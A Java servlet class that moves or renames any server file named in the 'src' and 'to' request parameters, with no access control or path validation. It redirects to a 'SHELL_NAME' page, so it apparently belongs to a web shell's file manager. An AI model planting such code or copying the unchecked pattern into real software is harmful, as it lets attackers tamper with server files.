package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;
import java.io.PrintWriter;

public class MoveInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String src = request.getParameter("src");
            String target = request.getParameter("to");
            if (!Utils.isEmpty(target) && !Utils.isEmpty(src)) {
                File file = new File(src);
                if (file.renameTo(new File(target))) {
                    session.setAttribute(MSG, "Move File Success!");
                } else {
                    String msg = "Move File Failed!";
                    if (file.isDirectory()) {
                        msg += "The Move Will Failed When The Directory Is Not Empty.";
                    }
                    session.setAttribute(MSG, msg);
                }
                response.sendRedirect(SHELL_NAME + "?o=index");
            }
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}